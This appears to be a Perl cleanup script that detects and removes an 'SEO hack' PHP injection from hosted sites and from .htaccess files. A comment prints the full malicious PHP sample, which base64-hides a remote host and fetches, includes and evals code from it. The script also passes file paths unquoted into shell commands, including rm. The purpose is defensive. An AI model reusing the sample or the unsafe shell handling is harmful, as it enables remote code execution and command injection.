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#!/usr/bin/perl
#
# Made by Brandon Florin

$date = `date +'%Y%m%d.%H%M%S'`;
chomp ($date);

# Configurable settings:

$searchpattern = 'base64_encode.*eval.*curl_init.*base64_decode.*curl_exec';
$numbersphppattern = '\/[0-9]*\.php$';
$allphppattern = '\.php$';
$logdir = '/root/seohack';
$logfile = $logdir."/seohacks.txt.".$date;

# DO NOT MODIFY BELOW THIS POINT!

use Getopt::Std;  # needed to take options from the command line

$opt_h = undef;
$opt_p = undef;
$opt_u = undef;
$opt_f = undef;
$opt_s = undef;
$usage =        "usage: $0 -p [clean|identify] -u [username|full]" .
                "\n".
                "Where:\n".
                "       $0 -p identify -u full    - This will identify all seohacks across the entire server\n".
                "       $0 -p identify -u inmoti5 - This will scan the inmoti5 user for SEO hacks without cleaning them\n".
                "       $0 -p clean -u full       - This will identify/clean the entire server for seohacks\n".
                "       $0 -p clean -u inmoti5    - This will identify/clean a specific user for seohacks\n".

                "   Any output can be found in $logfile\n".
                "\n";

getopts ('p:u:f:s:h');

if ( (defined($opt_s)) ) {
	# User-defined skip list
	$skip = $opt_s;
}

if ( (defined($opt_f)) ) {
	# Force clean on files greater than 1 line
	$force = $opt_f;
}

if ( (defined($opt_h))  ) {
        # print help
        print $usage;
        exit;
}

if ( (defined($opt_p))  ) {
        # purpose: clean or identify
        $purpose = $opt_p;
} else {
        # not defined, print usage
        print $usage;
        exit;
}

if ( (defined($opt_u))  ) {
        # user: full or specific username to clean
        $iuser = $opt_u;
} else {
        # not defined, print usage
        print $usage;
        exit;
}

if (-e $logdir) {
	# do nothing, $logdir is created
} else {
	`mkdir $logdir`;
}

############   MAIN   #######################

if (defined($skip)) { &read_skip_list; }

print "Building file list :: $iuser\n";
&build_file_list($iuser);

if ($purpose =~ /identify/) { exit; }

print "Cleaning $iuser\n";
&clean($iuser);

chomp ($count);
print "Cleanup has completed, cleaned ".scalar(@users)." users and ".$count." SEO hacks total\n";
exit;

############# END MAIN ##############

sub clean {
	$iuser = shift;
	open(IN,"<$logfile");
	foreach $line (<IN>) {
       		chomp ($line);
		if ($line !~ /./) { next; }

       	 	($homepath, $user, $file) = $line =~ /^\/(hom.*?)\/(.*?)\/(.*?)$/i;

		if (inArray($skip, @skiplist)) { last; }

		$filetodelete = "/".$homepath."/".$user."/".$file;

		$linecount = `cat $filetodelete | wc -l`;
		if ($linecount == "1") {
			print "linecount = 1 :: $filetodelete\n";
			`/bin/rm -f $filetodelete`;
		} elsif (($linecount > 1 && defined($force))) {
			print "linecount > 1 :: $filetodelete\n";
#Check: should we  include beginning/end php tags, also, what about variants?
#check examples
#<?[php] - <?[a-z]+
			`sed -e 's/<? error_reporting.*$searchpattern.* ?>//;' -i $filetodelete`;
		} else {
			`echo $filetodelete >> $logdir/check_these.txt`;
			print "$filetodelete not touched, check $logdir/check_these.txt and then add -f flag to force changes\n";
		}

#<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT;$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".". base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cGhwZmVlZC5ydQ==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="64f5ae058c8fa53503b8df498c5784b3") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);}; ?>

		if (inArray($user,@users)) {
			# Do nothing if the user is already in the array
		} else {
			push(@users,$user);
		}
		print "Deleted $filetodelete\n";
	}
	print "Scanning for .htaccess hacks...\n";

	foreach $usr (@users) {
		chomp ($usr);
		print "Scanning $usr...\n";
		$status = `find /home/$usr/public_html/ -name ".htaccess" | sed -e "s/^/\\"/\;" | sed -e "s/\$/\\"/\;" | xargs grep MultiViews > /$logdir/htaccess_cleanup.txt`;
       		# Set some vars to read in the whole file at once instead of line by line
		open (IN1,"<$logdir/htaccess_cleanup.txt");

		foreach (<IN1>) {
			chomp ($_);
			$_ =~ s/.htaccess:Options -MultiViews/.htaccess/i;
			undef($/);
			open (TMP,"<$_");

       			$in = <TMP>;
       		 	$/ = "\n";
			close (TMP);

			$in =~ s/Options -MultiViews\nErrorDocument 404 \/\/.*?[0-9]+\.php//ig;

			open(OUT,">$_");
			print OUT "$in";
			close (OUT);
		}
	}
}

sub inArray {
        my ($item, @arr) = @_;
        foreach (@arr) {
                if ($item eq $_) { return 1; }
        }
        return 0;
}

sub build_file_list {
	my ($iuser) = @_;

        if ($iuser !~ /./) { print $usage; exit; }

        if ($iuser =~ /full/) {

               	$status = `locate -r '/home/.*/public_html.*$numbersphppattern' | sed -e "s/^/\"/;" | sed -e "s/$/\"/;" | grep -v "\/404.php" | grep -iv pear | xargs egrep '$searchpattern' | cut -d: -f1 >> $logfile`;
	} else {
		$status = `locate -r '/home/$iuser/public_html.*$numbersphppattern' | sed -e 's/^/\"/\;' | sed -e 's/\$/\"/\;' | grep -v '\/404.php'  | grep -iv pear | xargs egrep '$searchpattern' | cut -d: -f1 >> $logfile`;
        }
	$count = `cat $logfile | wc -l`;
	chomp ($count);
	print "Found ".$count." SEO hacks total\n";
	print "A log of this scan can be found in $logfile\n";

}

sub read_skip_list {
	open(SKIP,"<$skip");
	foreach (<SKIP>) {
		chomp ($_);
		push(@skiplist,$_);
	}
}
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